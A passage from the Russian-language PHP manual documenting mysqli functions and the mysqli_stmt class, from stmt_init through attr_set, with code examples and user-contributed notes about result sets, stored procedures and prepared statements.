Uptime--The number of seconds the MySQL server has been running.

Threads--The number of active threads (clients).

Questions--The number of questions (queries) from clients since the server was started.

Slow queries--The number of queries that have taken more than long_query_time seconds.

Opens--The number of tables the server has opened.

Flush tables--The number of flush-*, refresh, and reload commands the server has executed.

Open tables--The number of tables that currently are open.

Queries per second avg--Questions divided by Uptime


Инициализирует запрос и возвращает объект для использования в mysqli_stmt_prepare

  • « mysqli::stat
  • mysqli::store_result »
  • PHP Manual
  • mysqli
  • Инициализирует запрос и возвращает объект для использования в mysqli_stmt_prepare

mysqli::stmt_init

mysqli_stmt_init

(PHP 5, PHP 7, PHP 8)

mysqli::stmt_init -- mysqli_stmt_init — Инициализирует запрос и возвращает объект для использования в mysqli_stmt_prepare

Описание

Объектно-ориентированный стиль

public mysqli::stmt_init(): mysqli_stmt|false

Процедурный стиль

mysqli_stmt_init(mysqli $mysql): mysqli_stmt|false

Выделяет память и инициализирует объект запроса, который можно использовать в функции mysqli_stmt_prepare().

Замечание:

Все последующие вызовы mysqli_stmt функций вызовут ошибку, пока не будет вызвана функция mysqli_stmt_prepare().

Список параметров

mysql

Только для процедурного стиля: объект mysqli, который вернула функция mysqli_connect().

Возвращаемые значения

Возвращает объект.

Смотрите также

  • mysqli_stmt_prepare() - Подготавливает утверждение SQL к выполнению

User Contributed Notes

Jeff C 31-Aug-2016 09:32
stmt_init() seems to clear previous (possibly erroneous) results on the DB connection, which means you don't necessarily need to use it but it could make the code more robust.

In a PHPUnit test, I had a sequence of prepared queries on the same connection. One of them fetched a row from a SELECT but didn't keep fetching until it drained the connection, so it left some stale results. When the next query did this:

<?php
$db = $this->getConnection()->getDbConnection();
$preparedQuery = $db->prepare ($query);
?>

the prepare() call generated an error: "Could not prepare query: Commands out of sync; you can't run this command now." Changing to this:

<?php
$db = $this->getConnection()->getDbConnection();
$preparedQuery = $db->stmt_init();
$preparedQuery->prepare ($query);
?>

resolved the problem.
mamdo7 at hotmail dot com 07-Jun-2014 11:58
you can use $stmt = $mysqli->prepare(); directly without stmt-init() . i think there is no need for stmt-init .


Передаёт на клиента результирующий набор последнего запроса

  • « mysqli::stmt_init
  • mysqli::$thread_id »
  • PHP Manual
  • mysqli
  • Передаёт на клиента результирующий набор последнего запроса

mysqli::store_result

mysqli_store_result

(PHP 5, PHP 7, PHP 8)

mysqli::store_result -- mysqli_store_result — Передаёт на клиента результирующий набор последнего запроса

Описание

Объектно-ориентированный стиль

public mysqli::store_result(int $mode = 0): mysqli_result|false

Процедурный стиль

mysqli_store_result(mysqli $mysql, int $mode = 0): mysqli_result|false

Передаёт результирующий набор последнего запроса на соединении mysql. Дальнейшая работа с этим набором осуществляется функцией mysqli_data_seek().

Список параметров

mysql

Только для процедурного стиля: объект mysqli, который вернула функция mysqli_connect().

mode

Устанавливаемая опция. Начиная с PHP 8.1, параметр ни на что не влияет. Может иметь одно из следующих значений:

Допустимые варианты
Имя | Описание
MYSQLI_STORE_RESULT_COPY_DATA | Копирует результаты из внутреннего буфера mysqlnd в получаемые переменные PHP. По умолчанию mysqlnd использует ссылки, предотвращая копирование и дублирование результатов в памяти. В некоторых случаях, например, если результаты содержат много небольших рядов, копирование может уменьшить общее потребление памяти, так как переменные PHP, содержащие результат, можно освобождать раньше (доступно только при использовании mysqlnd)

Возвращаемые значения

Возвращает буферизованный объект результата запроса или false в случае ошибки.

Замечание:

mysqli_store_result() возвращает false, если запрос не возвращает результирующей таблицы (например, в случае выражения INSERT). Также функция вернёт false, если данные из результирующего набора не удалось прочитать. Наличие ошибки можно проверить функцией mysqli_error(), которая в этом случае вернёт непустую строку; mysqli_errno() вернёт ненулевое значение; и mysqli_field_count() также вернёт ненулевое значение. Также возможной причиной возврата false после успешного вызова mysqli_query() может быть слишком большой результирующий набор (не хватает памяти для его размещения). Если функция mysqli_field_count() возвращает ненулевое значение, значит запрос вернул непустой результирующий набор.

Ошибки

Если уведомления об ошибках mysqli включены (MYSQLI_REPORT_ERROR) и запрошенная операция не удалась, выдаётся предупреждение. Если, кроме того, установлен режим MYSQLI_REPORT_STRICT, вместо этого будет выброшено исключение mysqli_sql_exception.

Примеры

Смотрите mysqli_multi_query().

Примечания

Замечание:

Даже несмотря на хорошую практику очищать память, занятую результатами запросов, посредством функции mysqli_free_result(), если mysqli_store_result() передаёт большой результирующий набор, это может стать проблемой.

Смотрите также

  • mysqli_real_query() - Выполнение SQL запроса
  • mysqli_use_result() - Готовит результирующий набор на сервере к использованию

User Contributed Notes

filippo at ecoms dot it 18-Feb-2018 06:49
Code to handling errors:

if ($mysqli->multi_query($query)) {
    $result = $mysqli->store_result();
    if ($mysqli->errno == 0) {

        /* First result set or FALSE (if the query didn't return a result set) is stored in $result */

        while ($mysqli->more_results()) {
            if ($mysqli->next_result()) {
                $result = $mysqli->store_result();
                if ($mysqli->errno == 0) {
                    /* The result set or FALSE (see above) is stored in $result */
                }
                else {
                    /* Result set read error */
                    break;
                }
            }
            else {
                /* Error in the query */
            }
        }
    }
    else {
        /* First result set read error */
    }
}
else {
    /* Error in the first query */
}
Tex Morgan 06-Jul-2013 10:45
There's a simpler way to clear out database stored procedure problems:

class MySQLiQuery {
     protected $_resultSet;
     protected $databaseConnection;
....

    protected function free(){
        $this->_resultSet->free();
        $this->_resultSet=null;
    }

    protected function checkMoreResults(){
        if($this->databaseConnection->more_results()){
            return true;
        } else {
            return false;
        }
    }

    protected function clearResults(){
        if($this->checkMoreResults()){
            if($this->databaseConnection->next_result()){
                if($this->_resultSet=$this->databaseConnection->store_result()){
                    $this->free();
                }
                $this->clearResults(); // <----------- recursive call is your friend
            }
        }
    }
.......
}
mitchind 04-Feb-2010 08:28
After reading through original notes and example above as well as wading through the documentation, I finally got a loop to work with two stored procedures.

Using the results of the first one as a parameter for the second one. Easier to do this way than a huge modified sequence of Inner Join queries.

Hope this helps others...

<?php
// Connect to server and database
$mysqli        = new mysqli("$dbServer", "$dbUser", "$dbPass", "$dbName");

// Open First Stored Procedure using MYSQLI_STORE_RESULT to retain for looping
$resultPicks = $mysqli->query("CALL $proc ($searchDate, $maxRSI, $incRSI, $minMACD, $minVol, $minTrades, $minClose, $maxClose)", MYSQLI_STORE_RESULT);

// process one row at a time from first SP
while($picksRow = $resultPicks->fetch_array(MYSQLI_ASSOC)) {
    // Get Parameter for next SP
    $symbol     = $picksRow['Symbol'];

    // Free stored results
    clearStoredResults($mysqli);

    // Execute second SP using value from first as a parameter (MYSQLI_USE_RESULT and free result right away)
    $resultData    = $mysqli->query("CALL prcGetLastMACDDatesBelowZero('$symbol', $searchDate)", MYSQLI_USE_RESULT);
    $dataRow    = $resultData->fetch_array(MYSQLI_ASSOC);

    // Dump result from both related queries
    echo "<p>$symbol ... Num Dates: " . $dataRow['NumDates'];

    // Free results from second SP
    $resultData->free();

}

// Free results from first SP
$resultPicks->free();

// close connections
$mysqli->close();

#------------------------------------------
function clearStoredResults($mysqli_link){
#------------------------------------------
    while($mysqli_link->next_result()){
      if($l_result = $mysqli_link->store_result()){
              $l_result->free();
      }
    }
}
?>
Warner 21-Jul-2009 02:45
It also seems, that executing a SET statement in multi_query() returns an extra recordset too, which one would not expect.
lau at goldenweb dot com dot au 13-Apr-2007 01:29
Beware when using stored procedures:
If you connect to the database and then call dbproc A followed by a call to db proc B and then close the connection to the db, the second procedure call will not work.

It looks like there is a bug in MYSQL or mysqli that returns an extra recordset than you would expect. It then doesn't let you call another stored procedure until you finish processing all the recordsets from the first stored procedure call.

The solution is to simply loop through the additional recordsets between calls to db procs. Here is a function that I call between db proc calls:

<?php
#--------------------------------
function ClearRecordsets($p_Result){
#--------------------------------
    $p_Result->free();
    while($this->Mysqli->next_result()){
      if($l_result = $this->Mysqli->store_result()){
              $l_result->free();
      }
    }
}

?>


Возвращает ID процесса текущего подключения

  • « mysqli::store_result
  • mysqli::thread_safe »
  • PHP Manual
  • mysqli
  • Возвращает ID процесса текущего подключения

mysqli::$thread_id

mysqli_thread_id

(PHP 5, PHP 7, PHP 8)

mysqli::$thread_id -- mysqli_thread_id — Возвращает ID процесса текущего подключения

Описание

Объектно-ориентированный стиль

int $mysqli->thread_id;

Процедурный стиль

mysqli_thread_id(mysqli $mysql): int

mysqli_thread_id() возвращает ID процесса текущего подключения, который можно завершить функцией mysqli_kill(). Если соединение было разорвано и восстановлено функцией mysqli_ping(), ID процесса будет уже другим. Поэтому нужно получать этот идентификатор, когда это действительно необходимо.

Замечание:

ID процесса назначается по принципу подключение-за-подключением. Соответственно, если соединение разорвано и заново установлено, ему будет присвоен новый идентификатор.

Для завершения работы запущенного запроса можно использовать SQL-команду KILL QUERY processid.

Список параметров

mysql

Только для процедурного стиля: объект mysqli, который вернула функция mysqli_connect().

Возвращаемые значения

Возвращает ID процесса текущего подключения.

Примеры

Пример #1 Пример использования $mysqli->thread_id

Объектно-ориентированный стиль

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* проверка соединения */
if (mysqli_connect_errno()) {
printf("Не удалось подключиться: %s\n", mysqli_connect_error());
exit();
}

/* определяем наш id процесса */
$thread_id = $mysqli->thread_id;

/* убиваем соединение */
$mysqli->kill($thread_id);

/* тут должна произойти ошибка */
if (!$mysqli->query("CREATE TABLE myCity LIKE City")) {
printf("Ошибка: %s\n", $mysqli->error);
exit;
}

/* закрываем соединение */
$mysqli->close();
?>

Процедурный стиль

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* проверка соединения */
if (mysqli_connect_errno()) {
printf("Не удалось подключиться: %s\n", mysqli_connect_error());
exit();
}

/* определяем наш id процесса */
$thread_id = mysqli_thread_id($link);

/* убиваем соединение */
mysqli_kill($link, $thread_id);

/* тут должна произойти ошибка */
if (!mysqli_query($link, "CREATE TABLE myCity LIKE City")) {
printf("Ошибка: %s\n", mysqli_error($link));
exit;
}

/* закрываем соединение */
mysqli_close($link);
?>

Результат выполнения данных примеров:

Ошибка: MySQL server has gone away

Смотрите также

  • mysqli_kill() - Запрос для сервера завершить выполнение процесса MySQL

User Contributed Notes

There are no user contributed notes for this page.


Показывает, безопасна ли работа с процессами

  • « mysqli::$thread_id
  • mysqli::use_result »
  • PHP Manual
  • mysqli
  • Показывает, безопасна ли работа с процессами

mysqli::thread_safe

mysqli_thread_safe

(PHP 5, PHP 7, PHP 8)

mysqli::thread_safe -- mysqli_thread_safe — Показывает, безопасна ли работа с процессами

Описание

Объектно-ориентированный стиль

public mysqli::thread_safe(): bool

Процедурный стиль

mysqli_thread_safe(): bool

Показывает, клиентская библиотека скомпилирована как потокобезопасная или нет.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

true, если клиентская библиотека потокобезопасна, в противном случае false.

User Contributed Notes

There are no user contributed notes for this page.


Готовит результирующий набор на сервере к использованию

  • « mysqli::thread_safe
  • mysqli::$warning_count »
  • PHP Manual
  • mysqli
  • Готовит результирующий набор на сервере к использованию

mysqli::use_result

mysqli_use_result

(PHP 5, PHP 7, PHP 8)

mysqli::use_result -- mysqli_use_result — Готовит результирующий набор на сервере к использованию

Описание

Объектно-ориентированный стиль

public mysqli::use_result(): mysqli_result|false

Процедурный стиль

mysqli_use_result(mysqli $mysql): mysqli_result|false

Используется для подготовки к использованию результирующего набора последнего запроса, запущенного функцией mysqli_real_query().

Чтобы результаты запроса стали доступны, после самого запроса необходимо вызывать либо эту функцию, либо mysqli_store_result(). Также вызов какой-либо из них предотвратит отказ следующих запросов на этом же соединении.

Замечание:

mysqli_use_result() не передаёт весь результирующий набор на клиента, а следовательно невозможно воспользоваться функцией mysqli_data_seek(), чтобы перемещаться по нему. Для этого нужно воспользоваться функцией mysqli_store_result(). mysqli_use_result() не следует использовать, если на стороне клиента данные результирующего набора долго обрабатываются, так как это задерживает работу сервера и не даёт другим процессам обновлять таблицы, данные из которых есть в результирующем наборе.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает небуферизованный объект результата запроса или false в случае возникновения ошибки.

Ошибки

Если уведомления об ошибках mysqli включены (MYSQLI_REPORT_ERROR) и запрошенная операция не удалась, выдаётся предупреждение. Если, кроме того, установлен режим MYSQLI_REPORT_STRICT, вместо этого будет выброшено исключение mysqli_sql_exception.

Примеры

Пример #1 Пример использования mysqli::use_result()

Объектно-ориентированный стиль

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* проверка соединения */
if (mysqli_connect_errno()) {
printf("Не удалось подключиться: %s\n", mysqli_connect_error());
exit();
}

$query = "SELECT CURRENT_USER();";
$query .= "SELECT Name FROM City ORDER BY ID LIMIT 20, 5";

/* выполняем мультизапрос */
if ($mysqli->multi_query($query)) {
do {
/* получаем первый результирующий набор */
if ($result = $mysqli->use_result()) {
while ($row = $result->fetch_row()) {
printf("%s\n", $row[0]);
}
$result->close();
}
/* печатаем разделитель */
if ($mysqli->more_results()) {
printf("-----------------\n");
}
} while ($mysqli->next_result());
}

/* закрываем соединение */
$mysqli->close();
?>

Процедурный стиль

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* проверка соединения */
if (mysqli_connect_errno()) {
printf("Не удалось подключиться: %s\n", mysqli_connect_error());
exit();
}

$query = "SELECT CURRENT_USER();";
$query .= "SELECT Name FROM City ORDER BY ID LIMIT 20, 5";

/* выполняем мультизапрос */
if (mysqli_multi_query($link, $query)) {
do {
/* получаем первый результирующий набор */
if ($result = mysqli_use_result($link)) {
while ($row = mysqli_fetch_row($result)) {
printf("%s\n", $row[0]);
}
mysqli_free_result($result);
}
/* печатаем разделитель */
if (mysqli_more_results($link)) {
printf("-----------------\n");
}
} while (mysqli_next_result($link));
}

/* закрываем соединение */
mysqli_close($link);
?>

Результат выполнения данных примеров:

my_user@localhost
-----------------
Amersfoort
Maastricht
Dordrecht
Leiden
Haarlemmermeer

Смотрите также

  • mysqli_real_query() - Выполнение SQL запроса
  • mysqli_store_result() - Передаёт на клиента результирующий набор последнего запроса

User Contributed Notes

Anonymous 14-Sep-2012 05:30
> One should not use mysqli_use_result() if a lot of processing on the client side is performed, since this will tie up the server and prevent other threads from updating any tables from which the data is being fetched.

Another way of understanding the "blocking" behavior of this "use_result" method is that by using this method (or the MYSQLI_USE_RESULT flag on the "query" method), if attempting to run a second query of any kind - updates, inserts, selects, or other - while still working with these first results, the second query will fail.  Checking mysqli->error, you should get a "Commands out of sync" error on the second query call.

However, if you use the "store_result" method (or the default MYSQLI_STORE_RESULT flag on the "query" method) instead, the second query will execute just fine.

Just to demonstrate this "blocking" behavior of this "use_result" method, the second query on line 7 below would otherwise fail if you instead used "use_result" on line 3:

<?php
$mysqli->real_query('SELECT * FROM `test`');
$query = $mysqli->store_result();
while ($row = $query->fetch_assoc()) {
    $id = (int) $row['id'];
    $query2 = $mysqli->query("UPDATE `test` SET `label` = md5(rand()) WHERE `id` = $id");
}
?>


Возвращает количество предупреждений из последнего запроса заданного подключения

  • « mysqli::use_result
  • mysqli_stmt »
  • PHP Manual
  • mysqli
  • Возвращает количество предупреждений из последнего запроса заданного подключения

mysqli::$warning_count

mysqli_warning_count

(PHP 5, PHP 7, PHP 8)

mysqli::$warning_count -- mysqli_warning_count — Возвращает количество предупреждений из последнего запроса заданного подключения

Описание

Объектно-ориентированный стиль

int $mysqli->warning_count;

Процедурный стиль

mysqli_warning_count(mysqli $mysql): int

Возвращает количество предупреждений из последнего запроса.

Замечание:

Для получения самих предупреждений можно использовать SQL-команду SHOW WARNINGS [limit row_count].

Список параметров

mysql

Только для процедурного стиля: объект mysqli, который вернула функция mysqli_connect().

Возвращаемые значения

Количество предупреждений или ноль, если таковых нет.

Примеры

Пример #1 Пример использования $mysqli->warning_count

Объектно-ориентированный стиль

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* проверка соединения */
if (mysqli_connect_errno()) {
printf("Не удалось подключиться: %s\n", mysqli_connect_error());
exit();
}

$mysqli->query("CREATE TABLE myCity LIKE City");

/* знаменитый город в Уэльсе */
$query = "INSERT INTO myCity (CountryCode, Name) VALUES('GBR',
'Llanfairpwllgwyngyllgogerychwyrndrobwllllantysiliogogogoch')";

$mysqli->query($query);

if ($mysqli->warning_count) {
if ($result = $mysqli->query("SHOW WARNINGS")) {
$row = $result->fetch_row();
printf("%s (%d): %s\n", $row[0], $row[1], $row[2]);
$result->close();
}
}

/* закрываем соединение */
$mysqli->close();
?>

Процедурный стиль

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* проверка соединения */
if (mysqli_connect_errno()) {
printf("Не удалось подключиться: %s\n", mysqli_connect_error());
exit();
}

mysqli_query($link, "CREATE TABLE myCity LIKE City");

/* знаменитый город в Уэльсе */
$query = "INSERT INTO myCity (CountryCode, Name) VALUES('GBR',
'Llanfairpwllgwyngyllgogerychwyrndrobwllllantysiliogogogoch')";

mysqli_query($link, $query);

if (mysqli_warning_count($link)) {
if ($result = mysqli_query($link, "SHOW WARNINGS")) {
$row = mysqli_fetch_row($result);
printf("%s (%d): %s\n", $row[0], $row[1], $row[2]);
mysqli_free_result($result);
}
}

/* закрываем соединение */
mysqli_close($link);
?>

Результат выполнения данных примеров:

Warning (1264): Data truncated for column 'Name' at row 1

Смотрите также

  • mysqli_errno() - Возвращает код ошибки последнего вызова функции
  • mysqli_error() - Возвращает строку с описанием последней ошибки
  • mysqli_sqlstate() - Возвращает код состояния SQLSTATE последней MySQL операции

User Contributed Notes

There are no user contributed notes for this page.


The mysqli_stmt class

(PHP 5, PHP 7, PHP 8)

Введение

Представляет подготовленное выражение.

Обзор классов

class mysqli_stmt {
/* Свойства */
public readonly int|string $affected_rows;
public readonly int|string $insert_id;
public readonly int|string $num_rows;
public readonly int $param_count;
public readonly int $field_count;
public readonly int $errno;
public readonly string $error;
public readonly array $error_list;
public readonly string $sqlstate;
public int $id;
/* Методы */
public __construct(mysqli $mysql, ?string $query = null)
public attr_get(int $attribute): int
public attr_set(int $attribute, int $value): bool
public bind_param(string $types, mixed &$var, mixed &...$vars): bool
public bind_result(mixed &$var, mixed &...$vars): bool
public close(): true
public data_seek(int $offset): void
public execute(?array $params = null): bool
public fetch(): ?bool
public free_result(): void
public get_result(): mysqli_result|false
public get_warnings(): mysqli_warning|false
public more_results(): bool
public next_result(): bool
public num_rows(): int|string
public prepare(string $query): bool
public reset(): bool
public result_metadata(): mysqli_result|false
public send_long_data(int $param_num, string $data): bool
public store_result(): bool
}

Свойства

id

Сохраняет идентификатор оператора.

Содержание

  • mysqli_stmt::$affected_rows — Возвращает общее количество строк, изменённых, удалённых, вставленных или сопоставленных последним выполненным выражением
  • mysqli_stmt::attr_get — Получает текущее значение атрибута запроса
  • mysqli_stmt::attr_set — Изменяет поведение подготовленного запроса
  • mysqli_stmt::bind_param — Привязка переменных к параметрам подготавливаемого запроса
  • mysqli_stmt::bind_result — Привязка переменных к подготовленному запросу для размещения результата
  • mysqli_stmt::close — Закрывает подготовленный запрос
  • mysqli_stmt::__construct — Конструктор для объекта mysqli_stmt
  • mysqli_stmt::data_seek — Корректирует указатель результата на произвольную строку в буферизованном результате
  • mysqli_stmt::$errno — Возвращает код ошибки выполнения последнего запроса
  • mysqli_stmt::$error_list — Возвращает список ошибок выполнения последнего запроса
  • mysqli_stmt::$error — Возвращает строку с пояснением последней ошибки при выполнении запроса
  • mysqli_stmt::execute — Выполняет подготовленное утверждение
  • mysqli_stmt::fetch — Связывает результаты подготовленного выражения с переменными
  • mysqli_stmt::$field_count — Возвращает число столбцов в заданном выражении
  • mysqli_stmt::free_result — Освобождает память от результата запроса, указанного дескриптором
  • mysqli_stmt::get_result — Получает результат из подготовленного запроса в виде объекта mysqli_result
  • mysqli_stmt::get_warnings — Получает результат от SHOW WARNINGS
  • mysqli_stmt::$insert_id — Получает ID, сгенерированный предыдущей операцией INSERT
  • mysqli_stmt::more_results — Проверяет, есть ли ещё наборы строк в результате мультизапроса
  • mysqli_stmt::next_result — Читает следующий набор строк из мультизапроса
  • mysqli_stmt::$num_rows — Возвращает количество строк, полученных с сервера
  • mysqli_stmt::$param_count — Возвращает количество параметров в запросе
  • mysqli_stmt::prepare — Подготавливает утверждение SQL к выполнению
  • mysqli_stmt::reset — Сбрасывает результаты выполнения подготовленного запроса
  • mysqli_stmt::result_metadata — Возвращает метаданные результирующей таблицы подготавливаемого запроса
  • mysqli_stmt::send_long_data — Отправка данных блоками
  • mysqli_stmt::$sqlstate — Возвращает код ошибки SQLSTATE, вызванной в ходе выполнения последней операции над запросом
  • mysqli_stmt::store_result — Сохраняет набор результатов во внутреннем буфере

User Contributed Notes

anonunfinder at gmail dot com 20-Dec-2013 11:35
<?php
class MySQL
{
    protected $mysql;
    function __construct()
    {
                //Get MySQL config values from config.ini file
        if($config = parse_ini_file("../config.ini"))
        {
            // Obtener los valores del fichero de configuracion config.ini
            $ip = $config["ip"];
            $user = $config["usuario"];
            $pass = $config["password"];
            $bd = $config["bd"];

                         //Connection between a database and php
            $this->mysql = new mysqli($ip, $user, $pass, $bd);
        }
    }

    function setResultQuery($query, $param)
    {
        $array = NULL;
        if(!$this->mysql->connect_errno)
        {
            $stmt = $this->setStatement($query, $param);
            try
            {
                if($stmt != NULL)
                {
                    if($stmt->execute())
                    {
                        //Obtener resultados
                        $stmt->store_result();
                        $variables = array();
                        $data = array();
                        $meta = $stmt->result_metadata();
                        while($field = $meta->fetch_field())
                        {
                            $variables[] = &$data[$field->name];
                        }
                        call_user_func_array(array($stmt, 'bind_result'), $variables);
                        $i=0;
                        while($stmt->fetch())
                        {
                                $array[$i] = array();
                                foreach($data as $k=>$v)
                                $array[$i][$k] = $v;
                                $i++;
                        }
                        $stmt->close();
                    }
                }
            }catch(Exception $e){
                $array = FALSE;
            }
        }
        return $array;
    }

    function setStatement($query, $param)
    {
        try
        {
            $stmt = $this->mysql->prepare($query);
            $ref = new ReflectionClass('mysqli_stmt');
            if(count($param) != 0)
            {

                $method = $ref->getMethod('bind_param');
                $method->invokeArgs($stmt, $param);
            }
        }catch(Exception $e){
            if($stmt != null)
            {
                $stmt->close();
            }
        }
        return $stmt;
    }

    function setNoResultQuery($query, $param)
    {
        $validation = FALSE;
        if(!$this->mysql->connect_errno)
        {
            try
            {
                $stmt = $this->setStatement($query, $param);
                if($stmt != null)
                {
                    if($stmt->execute())
                    {
                        $stmt->close();
                        $validacion = TRUE;
                    }
                }
            }catch(Exception $e){
                $validation = FALSE;
            }
        }
        return $validation;
    }

    function __destruct()
    {
        $this->mysql->close();
    }
}
?>
krapfi at gmail dot com 20-May-2008 06:35
The prototype of the mysqli_stmt constructor is mysqli_stmt::__construct(mysqli $link, $query);

To extend mysqli_stmt, do

class myStmt extends mysqli_stmt {
  public function __construct($link, $query) {
    parent::__construct($link, $query);
  }
}

class myI extends mysqli {
  public function prepare($query) {
    return new myStmt($this, $query);
  }
}

http://blog.myhat.de/2007/06/26/pdo-and-extending-mysqli/ has further infos including how to extend mysqli_result


Возвращает общее количество строк, изменённых, удалённых, вставленных или сопоставленных последним выполненным выражением

  • « mysqli_stmt
  • mysqli_stmt::attr_get »
  • PHP Manual
  • mysqli_stmt
  • Возвращает общее количество строк, изменённых, удалённых, вставленных или сопоставленных последним выполненным выражением

mysqli_stmt::$affected_rows

mysqli_stmt_affected_rows

(PHP 5, PHP 7, PHP 8)

mysqli_stmt::$affected_rows -- mysqli_stmt_affected_rows — Возвращает общее количество строк, изменённых, удалённых, вставленных или сопоставленных последним выполненным выражением

Описание

Объектно-ориентированный стиль

int|string $mysqli_stmt->affected_rows;

Процедурный стиль

mysqli_stmt_affected_rows(mysqli_stmt $statement): int|string

Возвращает количество строк, изменённых запросом INSERT, UPDATE или DELETE. Работает аналогично mysqli_stmt_num_rows() для выражений SELECT.

Список параметров

stmt

Только для процедурного стиля: объект mysqli_stmt, который вернула функция mysqli_stmt_init().

Возвращаемые значения

Целое число больше нуля указывает количество затронутых или извлечённых строк. Ноль означает, что записи для оператора UPDATE не обновлялись, ни одна строка не соответствовала выражению WHERE в запросе или что ни один запрос ещё не был выполнен. -1 означает, что во время выполнения запроса произошла ошибка или что для запроса SELECT, mysqli_stmt_affected_rows() была вызваны до вызова mysqli_stmt_store_result().

Замечание:

Если количество изменённых строк больше, чем максимальное значение для целого числа в PHP, то это количество будет возвращено в виде строкового значения.

Примеры

Пример #1 Пример использования mysqli_stmt_affected_rows()

Объектно-ориентированный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* создание временной таблицы */
$mysqli->query("CREATE TEMPORARY TABLE myCountry LIKE Country");

$query = "INSERT INTO myCountry SELECT * FROM Country WHERE Code LIKE ?";

/* подготовка выражения */
$stmt = $mysqli->prepare($query);

/* связывание переменных */
$code = 'A%';
$stmt->bind_param("s", $code);

/* выполнение выражения */
$stmt->execute();

printf("Добавлено строк: %d\n", $stmt->affected_rows);
?>

Процедурный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* создание временной таблицы */
mysqli_query($link, "CREATE TEMPORARY TABLE myCountry LIKE Country");

$query = "INSERT INTO myCountry SELECT * FROM Country WHERE Code LIKE ?";

/* подготовка выражения */
$stmt = mysqli_prepare($link, $query);

/* связывание переменных */
$code = 'A%';
mysqli_stmt_bind_param($stmt, "s", $code);

/* выполнение выражения */
mysqli_stmt_execute($stmt);

printf("Добавлено строк: %d\n", mysqli_stmt_affected_rows($stmt));
?>

Результат выполнения данных примеров:

Добавлено строк: 17

Смотрите также

  • mysqli_stmt_num_rows() - Возвращает количество строк, полученных с сервера
  • mysqli_stmt_store_result() - Сохраняет набор результатов во внутреннем буфере

User Contributed Notes

Chuck 28-Apr-2007 10:51
I'm not sure whether or not this is the intended behavior, but I noticed through testing that if you were to use transactions and prepared statements together and you added a single record to a database using a prepared statement, but later rolled it back, mysqli_stmt_affected_rows will still return 1.
Carl Olsen 27-Dec-2005 10:34
It appears that an UPDATE prepared statement which contains the same data as that already in the database returns 0 for affected_rows.  I was expecting it to return 1, but it must be comparing the input values with the existing values and determining that no UPDATE has occurred.


Получает текущее значение атрибута запроса

  • « mysqli_stmt::$affected_rows
  • mysqli_stmt::attr_set »
  • PHP Manual
  • mysqli_stmt
  • Получает текущее значение атрибута запроса

mysqli_stmt::attr_get

mysqli_stmt_attr_get

(PHP 5, PHP 7, PHP 8)

mysqli_stmt::attr_get -- mysqli_stmt_attr_get — Получает текущее значение атрибута запроса

Описание

Объектно-ориентированный стиль

public mysqli_stmt::attr_get(int $attribute): int

Процедурный стиль

mysqli_stmt_attr_get(mysqli_stmt $statement, int $attribute): int

Используется для получения текущего значения атрибута запроса.

Список параметров

stmt

Только для процедурного стиля: объект mysqli_stmt, который вернула функция mysqli_stmt_init().

attribute

Атрибут, который необходимо получить.

Возвращаемые значения

Возвращает текущее значение атрибута.

User Contributed Notes

There are no user contributed notes for this page.


Изменяет поведение подготовленного запроса

  • « mysqli_stmt::attr_get
  • mysqli_stmt::bind_param »
  • PHP Manual
  • mysqli_stmt
  • Изменяет поведение подготовленного запроса

mysqli_stmt::attr_set

mysqli_stmt_attr_set

(PHP 5, PHP 7, PHP 8)

mysqli_stmt::attr_set -- mysqli_stmt_attr_set — Изменяет поведение подготовленного запроса

Описание

Объектно-ориентированный стиль

public mysqli_stmt::attr_set(int $attribute, int $value): bool

Процедурный стиль

mysqli_stmt_attr_set(mysqli_stmt $statement, int $attribute, int $value): bool

Используется для изменения поведения подготовленного запроса. Эта функция может быть вызвана несколько раз для установки нескольких атрибутов.

Список параметров

stmt

Только для процедурного стиля: объект mysqli_stmt, который вернула функция mysqli_stmt_init().

attribute

Устанавливаемый атрибут. Он может принимать следующие значения:

Значения атрибута
Символ | Описание
MYSQLI_STMT_ATTR_UPDATE_MAX_LENGTH | Если равен true, то mysqli_stmt_store_result() обновляет метаданные значением MYSQL_FIELD->max_length.
MYSQLI_STMT_ATTR_CURSOR_TYPE | Тип указателя, который надо открыть для запроса при вызове mysqli_stmt_execute(). value может быть MYSQLI_CURSOR_TYPE_NO_CURSOR (по умолчанию) или MYSQLI_CURSOR_TYPE_READ_ONLY.
MYSQLI_STMT_ATTR_PREFETCH_ROWS | Число строк, которые необходимо выбрать с сервера при использовании указателя. value может быть в диапазоне от 1 максимального значения типа unsigned long. По умолчанию равно 1.

Если используется опция MYSQLI_STMT_ATTR_CURSOR_TYPE вместе с MYSQLI_CURSOR_TYPE_READ_ONLY, то указатель будет открыт для запроса когда будет запущена mysqli_stmt_execute(). Если есть уже открытый указатель от предыдущего запуска mysqli_stmt_execute(), то указатель будет закрыт перед открытием нового. mysqli_stmt_reset() также закрывает любой открытый указатель перед подготовкой запроса перед перезапуском. mysqli_stmt_free_result() закрывает любой открытый указатель.

Если вы открываете указатель для подготовленного запроса, то в использовании mysqli_stmt_store_result() нет необходимости.

value

Значение присваиваемое атрибуту.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Если уведомления об ошибках mysqli включены (MYSQLI_REPORT_ERROR) и запрошенная операция не удалась, выдаётся предупреждение. Если, кроме того, установлен режим MYSQLI_REPORT_STRICT, вместо этого будет выброшено исключение mysqli_sql_exception.

Смотрите также

  • » Connector/MySQL mysql_stmt_attr_set()

User Contributed Notes

chad 0x40 digitellinc 0x2e com 30-Apr-2008 08:20
This is basically a wrapper for mysql_stmt_attr_set in the MySQL C API: http://dev.mysql.com/doc/refman/5.0/en/mysql-stmt-attr-set.html


Привязка переменных к параметрам подготавливаемого запроса

  • « mysqli_stmt::attr_set
  • mysqli_stmt::bind_result »
  • PHP Manual
  • mysqli_stmt
  • Привязка переменных к параметрам подготавливаемого запроса

